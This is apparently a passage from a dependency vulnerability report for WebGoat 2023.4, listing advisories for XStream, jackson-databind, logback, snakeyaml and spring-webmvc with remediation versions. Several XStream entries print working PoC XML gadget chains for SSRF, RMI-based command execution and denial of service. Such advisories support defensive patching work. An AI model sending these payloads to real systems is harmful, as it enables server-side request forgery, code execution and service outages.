    <hasAllPerm>false</hasAllPerm>
    <staticPermissions>false</staticPermissions>
    <key>
      <outer-class reference='../..'/>
    </key>
  </defaultDomain>
  <packages/>
  <nativeLibraries/>
  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
  <defaultAssertionStatus>false</defaultAssertionStatus>
  <classes/>
  <ignored__packages>
    <string>java.</string>
    <string>javax.</string>
    <string>sun.</string>
  </ignored__packages>
  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
    <__path>
      <paths/>
      <class__path>.</class__path>
    </__path>
    <__loadedClasses/>
  </repository>
  <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
</processorCL>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
```


Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability which may allow a remote attacker to request data from internal resources that are not publicly available (SSRF) only by manipulating the processed input stream.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='javafx.collections.ObservableList$1'/>
            </default>
            <int>3</int>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
              <dataHandler>
                <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                  <contentType>text/plain</contentType>
                  <is class='java.io.SequenceInputStream'>
                    <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                      <iterator class='com.sun.xml.internal.ws.util.ServiceFinder$ServiceNameIterator'>
                        <configs class='sun.misc.FIFOQueueEnumerator'>
                          <queue>
                            <length>1</length>
                            <head>
                              <obj class='url'>http://localhost:8080/internal/</obj>
                            </head>
                            <tail reference='../head'/>
                          </queue>
                          <cursor reference='../queue/head'/>
                        </configs>
                        <returned class='sorted-set'/>
                      </iterator>
                      <type>KEYS</type>
                    </e>
                    <in class='java.io.ByteArrayInputStream'>
                      <buf></buf>
                      <pos>0</pos>
                      <mark>0</mark>
                      <count>0</count>
                    </in>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- GitHub Advisory
- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability where the processed stream at unmarshalling time contains type information to recreate the formerly written objects. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                  <packet>
                    <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                      <dataSource class='javax.activation.URLDataSource'>
                        <url>http://localhost:8080/internal/:</url>
                      </dataSource>
                    </message>
                  </packet>
                </indexMap>
              </comparator>
            </default>
            <int>3</int>
            <string>javax.xml.ws.binding.attachments.inbound</string>
            <string>javax.xml.ws.binding.attachments.inbound</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog

- XStream Workaround

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A remote attacker that has sufficient rights may execute commands of the host by only manipulating the processed input stream.

PoC

```
<!-- Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream: -->

        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <javax.naming.ldap.Rdn_-RdnEntry>
              <type>12345</type>
              <value class='com.sun.org.apache.xpath.internal.objects.XString'>
                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
              </value>
            </javax.naming.ldap.Rdn_-RdnEntry>
            <javax.naming.ldap.Rdn_-RdnEntry>
              <type>12345</type>
              <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                  <parsedMessage>true</parsedMessage>
                  <soapVersion>SOAP_11</soapVersion>
                  <bodyParts/>
                  <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                    <attachmentsInitialized>false</attachmentsInitialized>
                    <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                      <soapPart/>
                      <mm>
                        <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                          <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                            <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                              <names>
                                <string>aa</string>
                                <string>aa</string>
                              </names>
                              <ctx>
                                <environment/>
                                <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                                  <java.rmi.server.RemoteObject>
                                    <string>UnicastRef</string>
                                    <string>ip2</string>
                                    <int>1099</int>
                                    <long>0</long>
                                    <int>0</int>
                                    <short>0</short>
                                    <boolean>false</boolean>
                                  </java.rmi.server.RemoteObject>
                                </registry>
                                <host>ip2</host>
                                <port>1099</port>
                              </ctx>
                            </candidates>
                          </aliases>
                        </it>
                      </mm>
                    </multiPart>
                  </sm>
                </message>
              </value>
            </javax.naming.ldap.Rdn_-RdnEntry>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote*

Method Invocation (RMI), *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.17 or higher.

References

- GitHub Commit
- XStream Advisory
- Nuclei Templates

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). This vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<linked-hash-set>
          <sun.reflect.annotation.AnnotationInvocationHandler serialization='custom'>
            <sun.reflect.annotation.AnnotationInvocationHandler>
              <default>
                <memberValues class='javax.script.SimpleBindings'>
                  <map class='javax.script.SimpleBindings' reference='..'/>
                </memberValues>
                <type>javax.xml.transform.Templates</type>
              </default>
            </sun.reflect.annotation.AnnotationInvocationHandler>
          </sun.reflect.annotation.AnnotationInvocationHandler>
        </linked-hash-set>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stack overflow.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.20 or higher.

References

- GitHub Commit
- GitHub Issue

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream at unmarshalling time, and replace or inject objects. This can result in a stack overflow calculating a recursive hash set, causing a denial of service.

Workaround

This effects of this vulnerability can be avoided by catching the StackOverflowError in the calling application.

PoC

Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it with XStream.

```
<div class="Source XML"><pre>
        <set>
          <set>
            <set>
              <set>
                <set>
                  <set>
                    <set>
                      <string>a</string>
                    </set>
                    <set>
                      <string>b</string>
                    </set>
                  </set>
                  <set>
                    <string>c</string>
                    <set reference='../../../set/set[2]'/>
                  </set>
                </set>
              </set>
            </set>
          </set>
        </set>;
        </pre></div>
        <div class="Source Java"><pre>XStream xstream = new XStream();
        xstream.fromXML(xml);
        </pre></div>
```

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload .
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.20 or higher.

References

- GitHub Commit
- XStream Advisory

More about this vulnerability

MEDIUM SEVERITY

Insecure XML deserialization

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Insecure XML deserialization. It could deserialize arbitrary user-supplied XML content, representing objects of any type. A remote attacker able to pass XML to XStream could use this flaw to perform a variety of attacks, including remote code execution in the context of the server running the XStream application.

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.7, 1.4.11 or higher.

References

- Dinis Cruz Blog
- Exploit DB
- Fisheye
- GitHub Commit
- Redhat Bugzilla

- RedHat Bugzilla Bug
- Nuclei Templates

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.owasp.webgoat:webgoat@2023.4, io.jsonwebtoken:jjwt@0.9.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › io.jsonwebtoken:jjwt@0.9.1 › com.fasterxml.jackson.core:jackson-databind@2.13.3

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the `_deserializeFromArray()` function in `BeanDeserializer`, due to resource exhaustion when processing a deeply nested array.

NOTE: For this vulnerability to be exploitable the non-default `DeserializationFeature` must be enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.fasterxml.jackson.core:jackson-databind` to version 2.12.7.1, 2.13.4 or higher.

References

- Chromium Bugs
- GitHub Commit
- GitHub Commit
- GitHub Issue

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.owasp.webgoat:webgoat@2023.4, io.jsonwebtoken:jjwt@0.9.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › io.jsonwebtoken:jjwt@0.9.1 › com.fasterxml.jackson.core:jackson-databind@2.13.3

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Denial of Service (DoS) in the `_deserializeWrappedValue()` function in `StdDeserializer.java`, due to resource exhaustion when processing deeply nested arrays.

NOTE: This vulnerability is only exploitable when the non-default `UNWRAP_SINGLE_VALUE_ARRAYS` feature is enabled.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload .
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `com.fasterxml.jackson.core:jackson-databind` to version 2.12.7.1, 2.13.4.1 or higher.

References

- Chromium Bugs
- Documentation
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Issue

More about this vulnerability

MEDIUM SEVERITY

External Initialization of Trusted Variables or Data Stores

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11 › ch.qos.logback:logback-core@1.2.11

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores via the conditional processing of the `logback.xml` configuration file when both the Janino library and Spring Framework are present on the class path. An attacker can execute arbitrary code by compromising an existing configuration file or injecting a malicious environment variable before program execution. This is only exploitable if the attacker has write access to a configuration file or can set a malicious environment variable.

Remediation

Upgrade `ch.qos.logback:logback-core` to version 1.5.19 or higher.

References

- GitHub Commit
- Release Notes

More about this vulnerability

MEDIUM SEVERITY

Improper Neutralization of Special Elements

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11 › ch.qos.logback:logback-core@1.2.11

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements via the `JaninoEventEvaluator` extension. An attacker can execute arbitrary code by compromising an existing logback configuration file or injecting an environment variable before program execution.

Remediation

Upgrade `ch.qos.logback:logback-core` to version 1.3.15, 1.5.13 or higher.

References

- Additional Information
- GitHub Commit
- GitHub Commit
- Release Notes

More about this vulnerability

MEDIUM SEVERITY

Improper Neutralization of Special Elements

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-classic
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11

Overview

ch.qos.logback:logback-classic is a reliable, generic, fast and flexible logging library for Java.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements via the `JaninoEventEvaluator` extension. An attacker can execute arbitrary code by compromising an existing logback configuration file or injecting an environment variable before program execution.

Remediation

Upgrade `ch.qos.logback:logback-classic` to version 1.3.15, 1.5.13 or higher.

References

- Additional Information
- GitHub Commit
- GitHub Commit
- Release Notes

More about this vulnerability

LOW SEVERITY

Stack-based Buffer Overflow

- Package Manager: maven
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.yaml:snakeyaml@1.30

Overview

org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.

Affected versions of this package are vulnerable to Stack-based Buffer Overflow when parsing crafted untrusted YAML files, which can lead to a denial-of-service.

Remediation

Upgrade `org.yaml:snakeyaml` to version 1.32 or higher.

References

- Bitbucket Commit
- Bitbucket Issue and PoC
- Chromium Bugs

More about this vulnerability

LOW SEVERITY

Stack-based Buffer Overflow

- Package Manager: maven
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.yaml:snakeyaml@1.30

Overview

org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.

Affected versions of this package are vulnerable to Stack-based Buffer Overflow in `org.yaml.snakeyaml.constructor.BaseConstructor.constructObject` when parsing crafted untrusted YAML files, which can lead to a denial-of-service.

Remediation

Upgrade `org.yaml:snakeyaml` to version 1.31 or higher.

References

- Bitbucket Commit
- Bitbucket Issue
- Chromium Bugs

More about this vulnerability

LOW SEVERITY

Stack-based Buffer Overflow

- Package Manager: maven
- Vulnerable module: org.yaml:snakeyaml
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.yaml:snakeyaml@1.30

Overview

org.yaml:snakeyaml is a YAML 1.1 parser and emitter for Java.

Affected versions of this package are vulnerable to Stack-based Buffer Overflow when supplied with untrusted input, due to improper limitation for incoming data.

Remediation

Upgrade `org.yaml:snakeyaml` to version 1.32 or higher.

References

- Bitbucket Commit
- Chromium Bugs

More about this vulnerability

LOW SEVERITY

Improper Handling of Case Sensitivity

- Package Manager: maven
- Vulnerable module: org.springframework:spring-webmvc
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to `String.toLowerCase()` having some Locale dependent exceptions that could potentially result in fields not protected as expected.

